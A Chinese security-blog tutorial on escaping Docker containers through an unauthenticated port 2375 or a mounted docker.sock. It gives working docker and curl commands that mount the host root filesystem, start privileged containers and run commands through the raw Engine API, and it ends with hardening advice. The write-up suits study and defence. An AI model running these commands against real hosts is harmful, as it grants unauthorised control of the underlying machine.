点击蓝字
关注我们
声明
本文作者:Neko
本文字数:4987字
阅读时长:14分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
.
❝
在#云原生 安全领域,#容器逃逸 技术始终是攻防对抗的核心议题。在这篇文章中,我们通过分析通过挂载
/var/run/docker.sock
实现容器逃逸的攻击手法优化,我尝试站在一个运维和黑客的角度来看待docker,系统解析Docker通信机制与攻击面扩展思路,对攻击手法进行优化延伸出另一条道路,提高该漏洞的可用性。
Docker通信机制解析
Docker架构
docker整体上是C/S(client/server)架构,日常使用的docker
命令就是docker的客户端(client),服务端叫dockerd,是docker 守护程序 (docker daemon),它作为 systemd 服务持续运行,所以可以通过systemctl start docker来启动服务, 但是否能运行与 systemd 并无任何关系。Docker client和Dockerd之间默认通过 Docker API通信
Docker client
Docker client是Docker中的核心组件,Docker client是用户与Docker系统交互的主要接口,主要负责接收用户的命令(例如docker ps
),将其打包成请求发送给Docker daemon。Docker client 本身并不执行容器管理等操作,它充当了命令解释器和请求转发者的角色。例如 docker
命令也是client。
docker -H
-H/--host
参数指定Daemon通信地址,将请求发送给指定地址:
-
远程连接: docker -H tcp://<host>:2375 ps
-
本地Socket(默认): docker -H unix:///var/run/docker.sock ps
Docker 客户端会通过 Unix 套接字unix:///var/run/docker.sock
与本地 Docker 守护进程通信,使用-H可以覆盖默认行为,指向其他地址,例如
# 连接到远程 2375 端口(TCP 协议)docker -H tcp://x.x.x.x:2375 ps
支持的协议
unix:// (默认,本地套接字,地址为unix:///var/run/docker.sock)tcp:// (明文TCP连接,如tcp://xxx.xxx.xxx.xxx:2375)ssh:// (通过SSH隧道连接远程Docker)fd:// (通过文件描述符,用于systemd启动的守护进程)
-H为客户端参数,只影响docker命令如何连接到守护进程。
Dockerd
docker守护进程(docker daemon)也就是dockerd,是Docker的核心服务程序,Dockerd负责通过REST API接收Docker client发来的指令,例如创建,运行,停止容器,管理镜像、网络、数据卷等。
默认监听Unix socket:/var/run/docker.sock
什么是Docker API(Docker REST API)
Docker API 是 Docker 提供的一组基于 REST 的接口,用于与 Docker Daemon 通信。它是 Docker Client 与 Daemon 之间交互的桥梁。详细文档可以参考官方文档[Docker Engine API | Docker Docs](https://docs.docker.com/reference/api/engine/version/v1.49/#tag/Container)
Docker API主要分为以下几类(简单列举几个接口):
容器管理API
GET /containers/json ##查看所有容器,加上?all=1可以查看所有容器(包括未启动容器)POST /containers/create ##也可以加上参数?name=来设置容器名GET /containers/{id}/json ##查看容器详细信息
镜像管理API
GET /images/json ##查看所有容器POST /images/create ##创建容器,效果类似于docker pullDELETE /images/{name} ##删除某个镜像
网络与卷管理API
GET /networks ##查看所有网络信息POST /networks/create ##创建networkDELETE /networks/{id} ##删除某个network
系统信息API
GET /version ##获取当前通信的机器版本,信息包括client version,api version和server version(无论是本机还是远程)GET /info ##查看通信的机器的相关信息
架构分层
|
|
---|---|
|
|
|
/var/run/docker.sock ) |
|
|
|
|
传统逃逸手法分析
介绍完Docker通信机制以及Docker架构,回到docker逃逸,主要说明2375未授权以及docker.sock逃逸
2375端口未授权访问漏洞成因
Docker Engine API 是 Docker 提供的用于 Docker 客户端与守护进程交互的 API,当Docker daemon监听 2375 端口且未鉴权,我们可以利用 API 来完成 Docker 客户端能做的所有事情。
默认情况下,Docker daemon 监听在 unix:///var/run/docker.sock,可以通过多种方式打开 tcp socket,比如修改 Docker 配置文件如/usr/lib/systemd/system/docker.service或者添加daemon.json配置内容
/usr/lib/systemd/system/docker.service
修改ExecStart为ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375
[Service]Type=notify# the default is not to use systemd for cgroups because the delegate issues still# exists and systemd currently does not support the cgroup feature set required# for containers run by dockerExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375ExecReload=/bin/kill -s HUP $MAINPIDTimeoutStartSec=0RestartSec=2Restart=always
或者为daemon.json添加如下内容
vim /etc/docker/daemon.json{"hosts": ["unix:///var/run/docker.sock", "tcp://0.0.0.0:2375"]}systemctl daemon-reloadsystemctl restart docker
漏洞探测
curl http://<target>:2375/version浏览器访问 http://<target>:2375/version
响应示例:
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"26.1.4","Details":{"ApiVersion":"1.45","Arch":"amd64","BuildTime":"2024-06-05T11:31:02.000000000+00:00","Experimental":"false","GitCommit":"xxxx","GoVersion":"go1.21.11","KernelVersion":"3.10.0-1160.119.1.el7.x86_64","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.6.33","Details":{"GitCommit":"xxxxxx"}},{"Name":"runc","Version":"1.1.12","Details":{"GitCommit":"v1.1.12-0-g51d5e94"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"26.1.4","ApiVersion":"1.45","MinAPIVersion":"1.24","GitCommit":"de5c9cf","GoVersion":"go1.21.11","Os":"linux","Arch":"amd64","KernelVersion":"3.10.0-1160.119.1.el7.x86_64","BuildTime":"2024-06-05T11:31:02.000000000+00:00"}
2375端口未授权访问漏洞探测
漏洞验证方法,常规/version可以获取到目标机器的version信息等,但容易出现误报,可以直接请求/containers/json
来查看是否返回容器列表信息,通过这个方式来判断是否真实存在2375未授权漏洞。
#容器列表探测 curl -i http://<target>:2375/containers/json 或者浏览器访问:http://<target>:2375/containers/json
响应示例:
[{"Id":"xxxxxxxxxxxx","Names":["/{container_name}"],"Image":"{images_name}","ImageID":"sha256:f9a80a55xxxxxdxxxx3xxx1788xxxx7af6a","Command":"/bin/bash","Created":{时间戳},"Ports":[],"Labels":{"org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.version":"18.04"},"State":"running","Status":"Up 5 hours","HostConfig":{"NetworkMode":"bridge"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"MacAddress":"xx:xx:xx:xx:00:xx","DriverOpts":null,"NetworkID":"xxxxxxxxxxxx","EndpointID":"xxxxxxxxxxxxx","Gateway":"172.17.0.1","IPAddress":"172.17.0.5","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"DNSNames":null}}},"Mounts":[]}
2375未授权攻击利用
-
创建挂载宿主机根目录的容器
docker -H xxx.xxx.xxx.xxx:2375 run -itd -v /:/mnt ubuntu:18.04 /bin/sh
-
进入容器操作宿主机
docker -H xxx.xxx.xxx.xxx:2375 exec -it {containerID} /bin/sh
3.切换至/mnt目录,该目录为宿主机根目录的挂载目录
传统Docker Socket挂载逃逸
docker.sock普通利用流程
-
容器内安装docker
apt install docker.io -y
-
容器交互验证
docker -H unix:///var/run/docker.sock ps
-
创建特权容器或挂载宿主机根目录容器
docker -H unix:///var/run/docker.sock run -itd --privileged ubuntu:16.04docker -H unix:///run/docker.sock run -itd -v /:/mnt ubuntu:16.04 /bin/sh
漏洞分析与思考
2375未授权导致的逃逸,是因为用户设置了tcp://0.0.0.0:2375且并未设置认证导致,docker daemon此时还会监听来自2375端口的请求,关键点在于未设置认证用户直接与远程的Docker daemon通信,上述手法都是通过Docker client来发送请求,本质上是client通过REST API来构建请求并发送给目标daemon(无论是远程还是本地)。
那我们可以对REST API进行操作吗?
不太一样的docker.sock逃逸
如何操作docker API
curl
通过curl来根据REST API构建请求
通过-i参数来查看响应状态,通过--unix-socket参数指定通信套接字,这里填写默认的docker.sock地址。
#本地默认和/var/run/docker.sock通信,所以我们使用curl的--unix-socket参数指定curl -i --unix-socket /var/run/docker.sock http://localhost/images/jsoncurl -i --unix-socket /var/run/docker.sock http://localhost/containers/json#远程curl -i http://{host}:{port}/imagescurl -i http://{host}:{port}/containers
python
python支持request库以及docker库和requests_unixsocket库,可以通过python来构建请求对远程或者本地进行通信
下面是获取所有containers的示例(使用本地/var/run/docker.sock通信)
import requestsimport requests_unixsocket# 检查是否安装必要库try:import requests_unixsocketexcept ImportError: print("需要安装 requests-unixsocket,执行:pip install requests-unixsocket") exit(1)deflist_containers():# 创建 Unix Socket 会话 session = requests_unixsocket.Session() base_url = "http+unix://%2Fvar%2Frun%2Fdocker.sock"try:# 调用 Docker API 获取容器列表 (包含已停止的容器) response = session.get(f"{base_url}/containers/json", params={"all": "true"} ) response.raise_for_status() # 自动检测 HTTP 错误 containers = response.json()ifnot containers: print("没有找到任何容器")return# 格式化输出表格 print("{:<16} {:<30} {:<12} {:<20}".format("CONTAINER ID", "NAMES", "STATUS", "IMAGE" )) print("-" * 80)for container in containers: container_id = container["Id"][:12] names = ", ".join([n.lstrip('/') for n in container["Names"]]) status = container["Status"] image = container["Image"] print("{:<16} {:<30} {:<12} {:<20}".format( container_id, names, status, image ))except requests.exceptions.ConnectionError: print("连接失败!请检查:") print("1. Docker 服务是否正在运行") print("2. /var/run/docker.sock 是否存在") print("3. 当前用户是否有权限访问(尝试使用 sudo 或将用户加入 docker 组)")except requests.exceptions.HTTPError as e: print(f"API 请求失败: HTTP {e.response.status_code}") print(f"错误详情: {e.response.text}")if __name__ == "__main__": list_containers()
输出示例
CONTAINER ID NAMES STATUS IMAGE --------------------------------------------------------------------------------09bcc368ebae neko Up 41 hours ubuntu:16.04 f34a8be47265 friendly_engelbart Up 3 days ubuntu:16.04 f7013372d7ab testmongodb Up 41 hours mongo:4.0.27
postman(远程)
设置Headers,添加Content-Type为application/json
然后设置请求方式以及目标URL,参考Docker官网文档来构建请求发送即可在下方看到对应内容
原生Docker API调用方法实现逃逸
通过参考REST API直接构建请求绕过Docker客户端依赖:
-
创建挂载宿主机根目录的容器
curl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image": "ubuntu:16.04", "Cmd": ["/bin/bash"], "Tty": true, "OpenStdin": true, "Mounts": [{"Type": "bind", "Source": "/", "Target": "/mnt"}]}' http://localhost/containers/create?name=xxx
示例响应:
HTTP/1.1201 CreatedApi-Version: 1.45Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:06:21 GMTContent-Length: 88{"Id":"d50ddf55e4b1c0e6ddf5927044870808a5165bd54e09c5ad8426154cbde4bcdd","Warnings":[]}
-
启动容器
curl -i --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" http://localhost/containers/xxx/start
示例响应:
HTTP/1.1204 No ContentApi-Version: 1.45Docker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:08:18 GMT
-
执行命令
攻击者可以对创建的新容器发起命令,对正在运行的容器上执行命令分为两步(若容器未启动需要先启动容器)
使用
curl
建立通信并获取回显结果:#创建execcurl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/mnt/neko/flag"],"DetachKeys": "ctrl-p,ctrl-q","Tty": true}' http://localhost/containers/xxx/exec
示例响应
HTTP/1.1201 CreatedApi-Version: 1.45Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)Date: Mon, 28 Apr 202514:12:34 GMTContent-Length: 74{"Id":"3e271c167809bdad4c23c6adc4800ce6c76a8a573fc581d03990c43de8fbba9b"}
运行exec
#运行execcurl -i --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/{exec_id}/start -O
示例响应
HTTP/1.1200 OKContent-Type: application/vnd.docker.raw-streamApi-Version: 1.45Docker-Experimental: falseOstype: linuxServer: Docker/26.1.3 (linux)flag{taoyi_success}
需要注意,使用
curl
默认无法直接处理交互式终端,需要使用别的工具来实现。docker.sock逃逸离不开docker的REST API,基于这个特性,可以根据文档和需求来构建自己的请求,这样大大提升了在实际攻防和安全学习中的泛用性,不再局限于传统逃逸中需要使用docker client来进行通信。
安全防御建议
-
权限最小化
-
禁止容器挂载宿主机敏感目录(如 /
,/var/run/docker.sock
) -
限制容器Capabilities(避免使用 --privileged
) -
网络隔离
-
禁用Docker远程API(2375/2376端口) -
配置TLS双向认证保护API接口
下一个容器,我们再见~
❝
参考文档:Docker官方API文档 - https://docs.docker.com/engine/api/Teamssix容器安全Wiki - https://wiki.teamssix.com/CloudNative/Docker/docker-escape-vulnerability-summary.html
作者
Neko
每一个地方都有可学习的知识
原文始发于微信公众号(WgpSec狼组安全团队):容器逃逸分析——基于Docker Socket的另类手法解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论